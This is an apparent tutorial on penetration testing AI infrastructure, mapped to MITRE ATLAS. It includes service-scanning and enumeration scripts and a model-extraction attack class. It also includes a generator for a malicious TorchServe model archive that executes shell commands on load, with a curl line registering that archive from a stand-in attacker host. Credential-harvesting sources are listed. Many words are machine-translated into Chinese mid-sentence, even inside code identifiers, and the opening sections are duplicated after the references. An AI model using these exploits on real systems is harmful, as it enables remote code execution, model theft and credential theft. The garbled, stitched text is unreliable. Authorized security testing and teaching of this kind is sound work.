Penetration Testing Methodology for AI Infrastructure

中級18 分鐘閱讀更新於 2026-03-21

A structured methodology for penetration testing AI/ML systems covering reconnaissance, vulnerability assessment, exploitation, and reporting

infrastructure penetration-testing methodology red-team assessment

概覽

Penetration 測試 AI infrastructure requires extending traditional infrastructure and application 測試 methodologies with AI-specific techniques. While the standard phases of penetration 測試 — reconnaissance, scanning, 漏洞評估, 利用, and reporting — still apply, the targets, techniques, and impact assessments differ significantly for AI systems.

Traditional penetration tests focus on gaining unauthorized access, escalating privileges, and exfiltrating data. AI infrastructure penetration tests must 此外評估 model theft risk, 訓練資料 exposure, 推論 manipulation capability, model 投毒 vectors, and the 安全 of the ML lifecycle from data collection through deployment. These AI-specific risks map to the MITRE ATLAS framework, which extends ATT&CK with machine learning attack techniques.

The scope of an AI infrastructure penetration 測試 typically includes: model serving endpoints and their management interfaces, 訓練 cluster infrastructure (GPU nodes, schedulers, shared storage), ML pipeline orchestration (Kubeflow, Airflow, custom systems), model and artifact registries (MLflow, Weights & Biases, custom registries), data storage and feature stores, experiment tracking and 監控 systems, and the CI/CD pipeline for model deployment. Each of these components has unique 漏洞 patterns that require specialized 測試 approaches.

This article presents a comprehensive penetration 測試 methodology for AI infrastructure, organized into phases with specific techniques, tools, and deliverables 對每個 phase. The methodology is informed by OWASP, PTES (Penetration 測試 Execution Standard), NIST AI RMF, and MITRE ATLAS.

Phase 1: Reconnaissance and Scoping

Passive Reconnaissance

Before any active 測試, gather information about the target AI infrastructure through passive means:

"""
AI infrastructure reconnaissance toolkit.
Gathers information about target AI systems through passive
and semi-passive techniques.
"""
 
import re
import json
import socket
from typing import Optional
from dataclasses import dataclass, field
from urllib.parse import urlparse
 
 
@dataclass
class ReconResult:
    """Structured reconnaissance findings."""
    target: str
    ml_frameworks: list[str] = field(default_factory=list)
    serving_endpoints: list[dict] = field(default_factory=list)
    storage_buckets: list[str] = field(default_factory=list)
    exposed_dashboards: list[dict] = field(default_factory=list)
    gpu_infrastructure: list[str] = field(default_factory=list)
    api_endpoints: list[dict] = field(default_factory=list)
    credentials_found: list[dict] = field(default_factory=list)
 
 
class AIInfraRecon:
    """
    Passive and semi-passive reconnaissance for AI infrastructure.
    """
 
    # Common ports for AI services
    AI_SERVICE_PORTS = {
        5000: "MLflow Tracking Server",
        5001: "MLflow Model Serving",
        6006: "TensorBoard",
        6007: "TensorBoard (alt)",
        8000: "Triton HTTP / vLLM",
        8001: "Triton gRPC",
        8002: "Triton Metrics",
        8080: "TorchServe Inference / Seldon",
        8081: "TorchServe Management",
        8082: "TorchServe Metrics",
        8265: "Ray Dashboard",
        8443: "Kubeflow Dashboard",
        8501: "TensorFlow Serving REST",
        8500: "TensorFlow Serving gRPC",
        8786: "Dask Scheduler",
        8787: "Dask Dashboard",
        8888: "Jupyter Notebook",
        9090: "Prometheus",
        3000: "Grafana",
        9001: "MinIO Console",
        9000: "MinIO API",
        4040: "Spark UI",
        18080: "Spark History",
        8998: "Livy (Spark REST)",
    }
 
    # Known paths for AI service fingerprinting
    FINGERPRINT_PATHS = {
        "/api/2.0/mlflow/experiments/list": "MLflow",
        "/v2": "Triton Inference Server",
        "/v1/models": "vLLM / OpenAI API",
        "/api/sessions": "Jupyter Notebook",
        "/api/kernels": "Jupyter Notebook",
        "/models": "TorchServe",
        "/v1/models/": "TensorFlow Serving",
        "/data/runs": "TensorBoard",
        "/api/v1/nodes": "Ray",
        "/pipeline/apis/v2beta1/pipelines": "Kubeflow Pipelines",
        "/_/healthz": "Kubeflow",
    }
 
    def __init__(self, target: str):
        self.target = target
        self.result = ReconResult(target=target)
 
    def scan_ai_ports(self, timeout: float = 2.0) -> list[dict]:
        """
        Scan for common AI service ports.
        Semi-passive: connects but does not send exploits.
        """
        open_ports = []
        for port, service in self.AI_SERVICE_PORTS.items():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout)
                result = sock.connect_ex((self.target, port))
                sock.close()
 
                if result == 0:
                    open_ports.append({
                        "port": port,
                        "service": service,
                        "state": "open",
                    })
            except (socket.error, OSError):
                continue
 
        self.result.serving_endpoints.extend(open_ports)
        return open_ports
 
    def analyze_github_repos(self, org_name: str) -> dict:
        """
        Analyze public GitHub repositories for AI infrastructure details.
        Looks for ML framework usage, model configurations, and
        accidentally committed credentials.
 
        Note: 這是 a pattern-based analysis. Actual 實作
        would use GitHub's search API or clone public repos.
        """
        # Patterns to search for in public repos
        search_patterns = {
            "ml_frameworks": [
                "import torch", "import tensorflow",
                "from transformers import", "import sklearn",
                "import onnxruntime",
            ],
            "infrastructure": [
                "sagemaker", "kubeflow", "mlflow",
                "triton_client", "torchserve",
                "ray.serve", "seldon",
            ],
            "credentials": [
                "aws_access_key_id", "GOOGLE_APPLICATION_CREDENTIALS",
                "MLFLOW_TRACKING_URI", "WANDB_API_KEY",
                "HF_TOKEN", "OPENAI_API_KEY",
            ],
            "model_configs": [
                "model_config.pbtxt",  # Triton
                "config.properties",  # TorchServe
                "serving_config",
            ],
        }
 
        return {
            "org": org_name,
            "patterns": search_patterns,
            "note": (
                "Search these patterns in public repos using GitHub "
                "code search: site:github.com org:<org_name>"
            ),
        }
 
    def enumerate_cloud_storage(self, company_name: str) -> list[str]:
        """
        Generate candidate bucket/container names for AI assets
        based on common naming conventions.
        """
        prefixes = [company_name, company_name.replace("-", ""), company_name.lower()]
        suffixes = [
            "訓練-data", "models", "datasets", "ml-artifacts",
            "model-registry", "checkpoints", "嵌入向量",
            "sagemaker", "mlflow", "feature-store",
            "pipeline-data", "experiment-artifacts",
        ]
 
        candidates = []
        for prefix in prefixes:
            for suffix in suffixes:
                candidates.append(f"{prefix}-{suffix}")
                candidates.append(f"{prefix}.{suffix}")
 
        self.result.storage_buckets = candidates
        return candidates
 
    def generate_report(self) -> str:
        """Generate a structured recon report."""
        report = {
            "target": self.target,
            "phase": "reconnaissance",
            "findings": {
                "open_ai_ports": self.result.serving_endpoints,
                "candidate_storage": self.result.storage_buckets,
                "ml_frameworks": self.result.ml_frameworks,
            },
            "next_steps": [
                "Fingerprint open services to 識別 versions",
                "測試 candidate storage buckets for public access",
                "Analyze service APIs for 認證 requirements",
                "Map internal network topology from exposed services",
            ],
        }
        return json.dumps(report, indent=2)

Active Enumeration

After passive reconnaissance, perform active enumeration to 識別 specific services, versions, and configurations:

#!/usr/bin/env bash
# Active enumeration of AI infrastructure services
# Run after passive recon to fingerprint discovered services
 
TARGET="${1:?Usage: $0 <target_host>}"
echo "=== AI Infrastructure Active Enumeration ==="
echo "Target: $TARGET"
echo ""
 
# Port scan focused on AI services
echo "--- Port Scanning (AI service ports) ---"
nmap -sV -p 3000,4040,5000,5001,6006,8000-8002,8080-8082,8265,8443,8500,8501,8786-8788,8888,8998,9000,9001,9090,18080 \
    --open -oN "ai_ports_${TARGET}.txt" "$TARGET" 2>/dev/null
 
echo ""
echo "--- Service Fingerprinting ---"
 
# 測試 each discovered service for identity and version
for port in 5000 8000 8080 8501 8888; do
    echo "Port $port:"
 
    # Generic HTTP fingerprint
    RESP=$(curl -s --connect-timeout 3 -D - "http://${TARGET}:${port}/" 2>/dev/null | head -20)
    if [ -n "$RESP" ]; then
        echo "$RESP" | grep -iE "server:|x-powered|content-type" || true
    fi
 
    # Try AI-specific endpoints
    for path in "/v2" "/models" "/v1/models" "/api/2.0/mlflow/experiments/list" "/api/sessions" "/health"; do
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
            --connect-timeout 3 "http://${TARGET}:${port}${path}" 2>/dev/null)
        if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "401" ]; then
            echo "  ${path} -> HTTP ${HTTP_CODE}"
        fi
    done
    echo ""
done
 
echo "--- Model API Probing ---"
# 測試 for OpenAI-compatible API (vLLM, LiteLLM, etc.)
MODELS_RESP=$(curl -s --connect-timeout 3 "http://${TARGET}:8000/v1/models" 2>/dev/null)
if echo "$MODELS_RESP" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then
    echo "OpenAI-compatible API found on port 8000:"
    echo "$MODELS_RESP" | python3 -m json.tool 2>/dev/null
fi
 
echo ""
echo "=== Enumeration Complete ==="
echo "Results saved to ai_ports_${TARGET}.txt"

Phase 2: 漏洞評估

AI-Specific 漏洞 Checklist

Map discovered services to known 漏洞 patterns using MITRE ATLAS techniques:

ATLAS Technique	Infrastructure Target	測試 Method
AML.T0024 - Exfiltration via ML Inference API	Model serving endpoints	Query model to extract 訓練資料 or model architecture
AML.T0020 - Poison Training Data	Data storage, pipelines	測試 write access to 訓練資料 locations
AML.T0010 - ML Supply Chain Compromise	Model registries, package repos	Check for unsigned models, vulnerable dependencies
AML.T0043 - Craft 對抗性 Data	Inference endpoints	Submit 對抗性 inputs to 測試 model robustness
AML.T0048 - Resource Hijacking	GPU schedulers, compute nodes	測試 for unauthorized compute access

"""
AI infrastructure 漏洞 評估 engine.
Maps discovered services to known 漏洞 patterns
and generates a prioritized 測試 plan.
"""
 
import json
from dataclasses import dataclass, field
from typing import Optional
from enum import Enum
 
 
class RiskLevel(Enum):
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"
 
 
@dataclass
class VulnerabilityCheck:
    """A single 漏洞 check to perform."""
    check_id: str
    name: str
    atlas_technique: str
    risk_level: RiskLevel
    target_service: str
    description: str
    test_procedure: str
    remediation: str
 
 
# 漏洞 check 資料庫 for AI infrastructure
AI_VULN_CHECKS = [
    VulnerabilityCheck(
        check_id="AI-SERVE-001",
        name="Unauthenticated Model Management API",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="TorchServe",
        description=(
            "TorchServe management API (port 8081) allows model "
            "registration, which executes arbitrary Python code."
        ),
        test_procedure=(
            "1. Attempt GET /models on port 8081\n"
            "2. If accessible, attempt POST /models with a 測試 URL\n"
            "3. Check for SSRF by using internal URLs"
        ),
        remediation=(
            "Bind management API to localhost. Use network policies "
            "to restrict access. Upgrade to >= 0.8.2."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-SERVE-002",
        name="Model Information Disclosure",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.MEDIUM,
        target_service="Triton/vLLM/TorchServe",
        description=(
            "Model metadata endpoints expose architecture details, "
            "輸入/輸出 shapes, and version information."
        ),
        test_procedure=(
            "1. Query /v2/models/<name>/config (Triton)\n"
            "2. Query /v1/models (vLLM)\n"
            "3. Query /models/<name> (TorchServe)\n"
            "4. Document exposed information"
        ),
        remediation=(
            "Restrict metadata endpoints to authenticated clients. "
            "Remove unnecessary model configuration details."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-DATA-001",
        name="Training Data Storage Public Access",
        atlas_technique="AML.T0020",
        risk_level=RiskLevel.CRITICAL,
        target_service="S3/GCS/Azure Blob",
        description=(
            "訓練資料 in publicly accessible 雲端 storage "
            "can be read or modified by anyone."
        ),
        test_procedure=(
            "1. Enumerate bucket names using naming conventions\n"
            "2. 測試 each for public listing (GET /)\n"
            "3. 測試 for public object access\n"
            "4. 測試 for public write access"
        ),
        remediation=(
            "Enable Block Public Access at account level. "
            "Enable versioning and Object Lock."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-PIPE-001",
        name="Unauthenticated Pipeline Orchestrator",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="Kubeflow/Airflow",
        description=(
            "Pipeline orchestrators without 認證 allow "
            "submission of arbitrary pipeline runs."
        ),
        test_procedure=(
            "1. Access Kubeflow dashboard (port 8443)\n"
            "2. Attempt to create a pipeline run\n"
            "3. Check Airflow webserver (port 8080) for auth\n"
            "4. 測試 Airflow REST API"
        ),
        remediation=(
            "Enable 認證 (OIDC for Kubeflow, "
            "RBAC for Airflow). Use network policies."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-GPU-001",
        name="GPU Memory Cross-Tenant Leakage",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.HIGH,
        target_service="GPU Clusters",
        description=(
            "GPU memory may not be cleared between job allocations, "
            "allowing one tenant to read another's model weights or data."
        ),
        test_procedure=(
            "1. Run a GPU job that writes known patterns to GPU memory\n"
            "2. Release the GPU allocation\n"
            "3. Run another job on the same GPU\n"
            "4. Read GPU memory for residual patterns"
        ),
        remediation=(
            "Enable NVIDIA MPS/MIG for isolation. Use CUDA_VISIBLE_DEVICES. "
            "Clear GPU memory between allocations in the scheduler."
        ),
    ),
]
 
 
class VulnerabilityAssessment:
    """
    Manage and execute AI infrastructure 漏洞 assessments.
    """
 
    def __init__(self):
        self.checks = AI_VULN_CHECKS
        self.results: list[dict] = []
 
    def get_applicable_checks(
        self, discovered_services: list[str],
    ) -> list[VulnerabilityCheck]:
        """
        Filter 漏洞 checks to those applicable
        to discovered services.
        """
        applicable = []
        for check in self.checks:
            target_lower = check.target_service.lower()
            for service in discovered_services:
                service_lower = service.lower()
                # Match if any part of the target matches a discovered service
                targets = target_lower.split("/")
                if any(t in service_lower for t in targets):
                    applicable.append(check)
                    break
        return applicable
 
    def generate_test_plan(
        self, discovered_services: list[str],
    ) -> str:
        """Generate a prioritized 測試 plan based on discovered services."""
        applicable = self.get_applicable_checks(discovered_services)
 
        # Sort by risk level
        risk_order = {
            RiskLevel.CRITICAL: 0,
            RiskLevel.HIGH: 1,
            RiskLevel.MEDIUM: 2,
            RiskLevel.LOW: 3,
            RiskLevel.INFO: 4,
        }
        applicable.sort(key=lambda c: risk_order[c.risk_level])
 
        plan = {
            "total_checks": len(applicable),
            "by_risk": {},
            "checks": [],
        }
 
        for check in applicable:
            risk = check.risk_level.value
            plan["by_risk"][risk] = plan["by_risk"].get(risk, 0) + 1
            plan["checks"].append({
                "id": check.check_id,
                "name": check.name,
                "risk": risk,
                "atlas": check.atlas_technique,
                "target": check.target_service,
                "procedure": check.test_procedure,
            })
 
        return json.dumps(plan, indent=2)

Phase 3: 利用

Model Theft via Inference API

One of the highest-impact AI-specific exploits is model theft through the 推論 API. By systematically querying 模型 with crafted inputs and collecting outputs, 攻擊者 can train a surrogate model that replicates the target's behavior.

"""
Model extraction attack demonstration for penetration 測試.
Queries a target model API systematically to collect 輸入-輸出
pairs for 訓練 a surrogate model.
 
WARNING: For authorized penetration 測試 only.
"""
 
import requests
import numpy as np
import json
import time
from typing import Optional
from pathlib import Path
 
 
class ModelExtractionAttack:
    """
    Extract a target model's behavior through API queries.
    Uses active learning to minimize the number of queries needed.
    """
 
    def __init__(
        self,
        target_url: str,
        model_name: str = "default",
        rate_limit: float = 0.1,  # seconds between requests
    ):
        self.target_url = target_url.rstrip("/")
        self.model_name = model_name
        self.rate_limit = rate_limit
        self.query_count = 0
        self.collected_pairs: list[dict] = []
 
    def query_model(
        self,
        input_data: dict,
        timeout: int = 30,
    ) -> Optional[dict]:
        """Send a single query to the target model."""
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                json={
                    "model": self.model_name,
                    "prompt": input_data.get("prompt", ""),
                    "max_tokens": input_data.get("max_tokens", 100),
                    "temperature": 0.0,  # Deterministic for extraction
                    "logprobs": 5,  # Request logprobs if available
                },
                timeout=timeout,
            )
            self.query_count += 1
 
            if resp.status_code == 200:
                return resp.json()
            elif resp.status_code == 429:
                # Rate limited — back off
                time.sleep(5)
                return None
            else:
                return None
 
        except requests.RequestException:
            return None
 
    def generate_extraction_queries(
        self,
        domain: str = "general",
        num_queries: int = 1000,
    ) -> list[dict]:
        """
        Generate a diverse set of queries designed to map the
        model's behavior across its 輸入 space.
        """
        queries = []
 
        # Strategy 1: Systematic prompt variations
        base_prompts = [
            "The capital of {} is",
            "Translate to French: {}",
            "Summarize: {}",
            "The opposite of {} is",
            "Define the word: {}",
        ]
 
        # Strategy 2: Length-varied inputs to map 上下文視窗 behavior
        for length in [10, 50, 100, 500]:
            queries.append({
                "prompt": "word " * length,
                "max_tokens": 50,
                "strategy": "length_probe",
            })
 
        # Strategy 3: Special 符元 probing
        special_tokens = [
            "<|endoftext|>", "[INST]", "<<SYS>>",
            "<s>", "</s>", "[PAD]",
        ]
        for 符元 in special_tokens:
            queries.append({
                "prompt": f"Repeat: {符元}",
                "max_tokens": 50,
                "strategy": "token_probe",
            })
 
        return queries[:num_queries]
 
    def run_extraction(
        self,
        num_queries: int = 100,
        output_path: str = "extraction_results.jsonl",
    ) -> dict:
        """
        Execute 模型 extraction attack.
        Collects 輸入-輸出 pairs for surrogate model 訓練.
        """
        queries = self.generate_extraction_queries(num_queries=num_queries)
 
        with open(output_path, "w") as f:
            for i, query in enumerate(queries):
                result = self.query_model(query)
                if result:
                    pair = {
                        "輸入": query,
                        "輸出": result,
                        "query_num": i,
                    }
                    f.write(json.dumps(pair) + "\n")
                    self.collected_pairs.append(pair)
 
                time.sleep(self.rate_limit)
 
                if (i + 1) % 100 == 0:
                    print(
                        f"Progress: {i + 1}/{len(queries)} queries, "
                        f"{len(self.collected_pairs)} successful"
                    )
 
        return {
            "total_queries": self.query_count,
            "successful_pairs": len(self.collected_pairs),
            "output_file": output_path,
        }

Pipeline 利用: Arbitrary Code via Model Registration

When a model serving framework supports dynamic model loading with custom handlers (TorchServe, Triton Python backend), registering a malicious model achieves remote code execution. 這是 a critical 利用 technique in AI penetration 測試.

"""
Generate a proof-of-concept malicious model archive for TorchServe.
模型 handler executes a benign command to demonstrate RCE
capability without causing harm.
 
WARNING: For authorized penetration 測試 only.
"""
 
import os
import zipfile
import json
import tempfile
from pathlib import Path
 
 
def create_poc_torchserve_handler(command: str = "id") -> str:
    """
    Create a TorchServe handler that executes a command
    when 模型 is loaded or when 推論 is called.
    """
    handler_code = f'''
import subprocess
import logging
from ts.torch_handler.base_handler import BaseHandler
 
logger = logging.getLogger(__name__)
 
class PoCHandler(BaseHandler):
    """
    Proof of concept handler that demonstrates code execution
    during model initialization (load-time RCE).
    """
 
    def initialize(self, context):
        """Called when 模型 is loaded. Executes the PoC command."""
        logger.info("PoC handler initialized")
        # Execute benign command to prove RCE capability
        try:
            result = subprocess.run(
                ["{command}"],
                capture_output=True, text=True, timeout=5, shell=True,
            )
            logger.info(f"PoC 輸出: {{result.stdout}}")
            # Write proof to a known location
            with open("/tmp/pentest_poc_output.txt", "w") as f:
                f.write(f"Command: {command}\\n")
                f.write(f"輸出: {{result.stdout}}\\n")
                f.write(f"PoC successful - RCE demonstrated\\n")
        except Exception as e:
            logger.error(f"PoC failed: {{e}}")
 
        # Initialize a minimal model so 推論 still works
        self.initialized = True
 
    def handle(self, data, context):
        """Handle 推論 requests."""
        return ["PoC model loaded successfully"]
'''
    return handler_code
 
 
def create_mar_archive(
    output_path: str,
    model_name: str = "security_test",
    command: str = "id && hostname && whoami",
) -> str:
    """
    Create a .mar (Model ARchive) file for TorchServe
    containing the proof-of-concept handler.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        # Create handler file
        handler_path = os.path.join(tmpdir, "handler.py")
        with open(handler_path, "w") as f:
            f.write(create_poc_torchserve_handler(command))
 
        # Create a minimal model file (required by .mar format)
        model_path = os.path.join(tmpdir, "model.pt")
        with open(model_path, "wb") as f:
            f.write(b"PLACEHOLDER")  # Minimal content
 
        # Create MAR-INFO file
        manifest = {
            "createdOn": "2026-03-21",
            "runtime": "python",
            "model": {
                "modelName": model_name,
                "handler": "handler.py",
            },
        }
        manifest_path = os.path.join(tmpdir, "MAR-INF/MANIFEST.json")
        os.makedirs(os.path.dirname(manifest_path), exist_ok=True)
        with open(manifest_path, "w") as f:
            json.dump(manifest, f)
 
        # Package into ZIP (.mar is a ZIP file)
        mar_path = output_path if output_path.endswith(".mar") else f"{output_path}.mar"
        with zipfile.ZipFile(mar_path, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.write(handler_path, "handler.py")
            zf.write(model_path, "model.pt")
            zf.write(manifest_path, "MAR-INF/MANIFEST.json")
 
    return mar_path
 
 
if __name__ == "__main__":
    import sys
    輸出 = sys.argv[1] if len(sys.argv) > 1 else "security_test.mar"
    mar_file = create_mar_archive(輸出)
    print(f"PoC .mar archive created: {mar_file}")
    print(f"Register with: curl -X POST 'http://target:8081/models?"
          f"url=http://攻擊者.com/{os.path.basename(mar_file)}'")

Credential Harvesting from AI Infrastructure

AI infrastructure is a rich target for credential harvesting 因為:

Training jobs often have IAM roles with access to data lakes, model registries, and 雲端 services
Jupyter notebooks frequently contain inline AWS keys, 資料庫 passwords, and API 符元
MLflow and experiment tracking systems store artifact locations that reveal 雲端 storage paths
Environment variables in containerized AI services often contain secrets

During penetration 測試, focus on these credential sources:

Kubernetes secrets in AI namespaces (check for base64-encoded credentials in mounted volumes)
Environment variables in GPU pod specifications
Jupyter notebook content (search for API_KEY, SECRET, PASSWORD, connection strings)
MLflow artifact URIs (reveal S3/GCS bucket paths and potentially access keys)
Docker image layers (credentials baked into container images during build)

Phase 4: Reporting

AI penetration 測試 reports should include standard penetration 測試 sections plus AI-specific risk assessments. Key additions:

Model theft risk 評估: Quantify how many queries would be needed to extract a functionally equivalent model, and whether rate limiting is sufficient to prevent this.
資料投毒 impact 評估: If write access to 訓練資料 was achieved, describe the potential impact on model behavior.
MITRE ATLAS mapping: Map all findings to ATLAS techniques for consistent communication.
AI regulatory compliance: Note findings relevant to the EU AI Act, NIST AI RMF, or industry-specific AI regulations.

Report Template Structure

A well-structured AI penetration 測試 report should follow this outline:

Executive 總結: Business impact of findings, overall risk posture, comparison with industry benchmarks.
Scope and Methodology: Components tested, 測試 approach (black-box, grey-box, white-box), time frame, tools used, ATLAS techniques covered.
Findings 總結 Table: Each finding with severity, ATLAS mapping, affected component, and remediation status.
Detailed Findings: 對每個 finding:
- Description and technical detail
- Steps to reproduce
- Evidence (screenshots, logs, captured data)
- ATLAS technique mapping
- Business impact 評估
- Remediation recommendation with priority
AI-Specific Risk 評估:
- Model theft feasibility analysis (estimated queries needed, current rate limiting effectiveness)
- 資料投毒 vector analysis (which 訓練資料 stores are writable, what controls exist)
- Inference manipulation risk (can inputs be crafted to produce 攻擊者-desired outputs)
- 供應鏈 risk (model dependencies, unsigned artifacts, unverified packages)
Remediation Roadmap: Prioritized list of remediations with effort estimates and suggested timelines.

防禦 and 緩解

Scope AI systems in all penetration tests: AI infrastructure should be explicitly in-scope for penetration 測試, not treated as a separate system. Coordinate with ML engineering teams to define realistic threat scenarios.

實作 AI-specific 偵測: Deploy 監控 for model extraction attempts (anomalous query patterns), 資料投毒 indicators (unexpected changes in 訓練資料), and unauthorized model access.

Adopt MITRE ATLAS as a framework: Use ATLAS to systematically 評估 coverage of AI attack techniques and prioritize 防禦 based on organizational risk.

Regular 測試 cadence: AI systems change rapidly as models are updated and pipelines evolve. Quarterly penetration 測試 or continuous 紅隊演練 is more appropriate than annual assessments.

Integrate findings into AI governance: Penetration 測試 findings should feed into the organization's AI risk management framework (aligned with NIST AI RMF) and influence model deployment decisions.

Establish AI 紅隊 capabilities: Build internal teams or engage specialized firms with expertise in both traditional penetration 測試 and AI/ML 安全. The intersection of these skill sets is rare and valuable. Red team exercises that simulate advanced persistent threats targeting AI systems provide the most realistic 評估 of organizational readiness.

Create reproducible 測試 environments: Maintain staging environments that mirror production AI infrastructure for safe penetration 測試. These environments should include representative model deployments, sample 訓練資料, and realistic pipeline configurations so that tests accurately reflect production risk without endangering production systems.

測試 the full ML lifecycle: Do not limit penetration 測試 to the serving layer. 測試 the entire ML lifecycle: data ingestion and validation pipelines, 訓練 infrastructure and job scheduling, model registry and artifact management, deployment automation and rollback mechanisms, and 監控 and alerting systems. Each phase has unique 漏洞. A comprehensive 測試 that follows data from ingestion through 訓練 to deployment mirrors 攻擊者's perspective and identifies 漏洞 at trust boundary transitions that single-component 測試 would miss. Pay particular 注意力 to the handoff points between systems — where data leaves one component's 安全 boundary and enters another's. These boundary crossings are where the most impactful 漏洞 hide 因為 they often lack the consistent 安全 controls found within individual components.

參考文獻

MITRE. (2024). "ATLAS: 對抗性 Threat Landscape for AI Systems." https://atlas.mitre.org/
OWASP. (2025). "OWASP Machine Learning 安全 Top 10." https://owasp.org/www-project-machine-learning-安全-top-10/
NIST. (2023). "AI Risk Management Framework (AI RMF 1.0)." https://airc.nist.gov/AI_RMF_Interactivity/
Penetration 測試 Execution Standard (PTES). http://www.pentest-standard.org/
European Union. (2024). "EU AI Act." Regulation laying down harmonized rules on artificial intelligence. https://artificialintelligenceact.eu/
Grosse, K., et al. (2023). "Machine Learning 安全: Threats, Countermeasures, and Evaluations." IEEE Access. https://ieeexplore.ieee.org/

Penetration Testing Methodology for AI Infrastructure

中級18 分鐘閱讀更新於 2026-03-21

A structured methodology for penetration testing AI/ML systems covering reconnaissance, vulnerability assessment, exploitation, and reporting

infrastructure penetration-testing methodology red-team assessment

概覽

Phase 1: Reconnaissance and Scoping

Passive Reconnaissance

Before any active 測試, gather information about the target AI infrastructure through passive means:

"""
AI infrastructure reconnaissance toolkit.
Gathers information about target AI systems through passive
and semi-passive techniques.
"""
 
import re
import json
import socket
from typing import Optional
from dataclasses import dataclass, field
from urllib.parse import urlparse
 
 
@dataclass
class ReconResult:
    """Structured reconnaissance findings."""
    target: str
    ml_frameworks: list[str] = field(default_factory=list)
    serving_endpoints: list[dict] = field(default_factory=list)
    storage_buckets: list[str] = field(default_factory=list)
    exposed_dashboards: list[dict] = field(default_factory=list)
    gpu_infrastructure: list[str] = field(default_factory=list)
    api_endpoints: list[dict] = field(default_factory=list)
    credentials_found: list[dict] = field(default_factory=list)
 
 
class AIInfraRecon:
    """
    Passive and semi-passive reconnaissance for AI infrastructure.
    """
 
    # Common ports for AI services
    AI_SERVICE_PORTS = {
        5000: "MLflow Tracking Server",
        5001: "MLflow Model Serving",
        6006: "TensorBoard",
        6007: "TensorBoard (alt)",
        8000: "Triton HTTP / vLLM",
        8001: "Triton gRPC",
        8002: "Triton Metrics",
        8080: "TorchServe Inference / Seldon",
        8081: "TorchServe Management",
        8082: "TorchServe Metrics",
        8265: "Ray Dashboard",
        8443: "Kubeflow Dashboard",
        8501: "TensorFlow Serving REST",
        8500: "TensorFlow Serving gRPC",
        8786: "Dask Scheduler",
        8787: "Dask Dashboard",
        8888: "Jupyter Notebook",
        9090: "Prometheus",
        3000: "Grafana",
        9001: "MinIO Console",
        9000: "MinIO API",
        4040: "Spark UI",
        18080: "Spark History",
        8998: "Livy (Spark REST)",
    }
 
    # Known paths for AI service fingerprinting
    FINGERPRINT_PATHS = {
        "/api/2.0/mlflow/experiments/list": "MLflow",
        "/v2": "Triton Inference Server",
        "/v1/models": "vLLM / OpenAI API",
        "/api/sessions": "Jupyter Notebook",
        "/api/kernels": "Jupyter Notebook",
        "/models": "TorchServe",
        "/v1/models/": "TensorFlow Serving",
        "/data/runs": "TensorBoard",
        "/api/v1/nodes": "Ray",
        "/pipeline/apis/v2beta1/pipelines": "Kubeflow Pipelines",
        "/_/healthz": "Kubeflow",
    }
 
    def __init__(self, target: str):
        self.target = target
        self.result = ReconResult(target=target)
 
    def scan_ai_ports(self, timeout: float = 2.0) -> list[dict]:
        """
        Scan for common AI service ports.
        Semi-passive: connects but does not send exploits.
        """
        open_ports = []
        for port, service in self.AI_SERVICE_PORTS.items():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout)
                result = sock.connect_ex((self.target, port))
                sock.close()
 
                if result == 0:
                    open_ports.append({
                        "port": port,
                        "service": service,
                        "state": "open",
                    })
            except (socket.error, OSError):
                continue
 
        self.result.serving_endpoints.extend(open_ports)
        return open_ports
 
    def analyze_github_repos(self, org_name: str) -> dict:
        """
        Analyze public GitHub repositories for AI infrastructure details.
        Looks for ML framework usage, model configurations, and
        accidentally committed credentials.
 
        Note: 這是 a pattern-based analysis. Actual 實作
        would use GitHub's search API or clone public repos.
        """
        # Patterns to search for in public repos
        search_patterns = {
            "ml_frameworks": [
                "import torch", "import tensorflow",
                "from transformers import", "import sklearn",
                "import onnxruntime",
            ],
            "infrastructure": [
                "sagemaker", "kubeflow", "mlflow",
                "triton_client", "torchserve",
                "ray.serve", "seldon",
            ],
            "credentials": [
                "aws_access_key_id", "GOOGLE_APPLICATION_CREDENTIALS",
                "MLFLOW_TRACKING_URI", "WANDB_API_KEY",
                "HF_TOKEN", "OPENAI_API_KEY",
            ],
            "model_configs": [
                "model_config.pbtxt",  # Triton
                "config.properties",  # TorchServe
                "serving_config",
            ],
        }
 
        return {
            "org": org_name,
            "patterns": search_patterns,
            "note": (
                "Search these patterns in public repos using GitHub "
                "code search: site:github.com org:<org_name>"
            ),
        }
 
    def enumerate_cloud_storage(self, company_name: str) -> list[str]:
        """
        Generate candidate bucket/container names for AI assets
        based on common naming conventions.
        """
        prefixes = [company_name, company_name.replace("-", ""), company_name.lower()]
        suffixes = [
            "訓練-data", "models", "datasets", "ml-artifacts",
            "model-registry", "checkpoints", "嵌入向量",
            "sagemaker", "mlflow", "feature-store",
            "pipeline-data", "experiment-artifacts",
        ]
 
        candidates = []
        for prefix in prefixes:
            for suffix in suffixes:
                candidates.append(f"{prefix}-{suffix}")
                candidates.append(f"{prefix}.{suffix}")
 
        self.result.storage_buckets = candidates
        return candidates
 
    def generate_report(self) -> str:
        """Generate a structured recon report."""
        report = {
            "target": self.target,
            "phase": "reconnaissance",
            "findings": {
                "open_ai_ports": self.result.serving_endpoints,
                "candidate_storage": self.result.storage_buckets,
                "ml_frameworks": self.result.ml_frameworks,
            },
            "next_steps": [
                "Fingerprint open services to 識別 versions",
                "測試 candidate storage buckets for public access",
                "Analyze service APIs for 認證 requirements",
                "Map internal network topology from exposed services",
            ],
        }
        return json.dumps(report, indent=2)

Active Enumeration

After passive reconnaissance, perform active enumeration to 識別 specific services, versions, and configurations:

#!/usr/bin/env bash
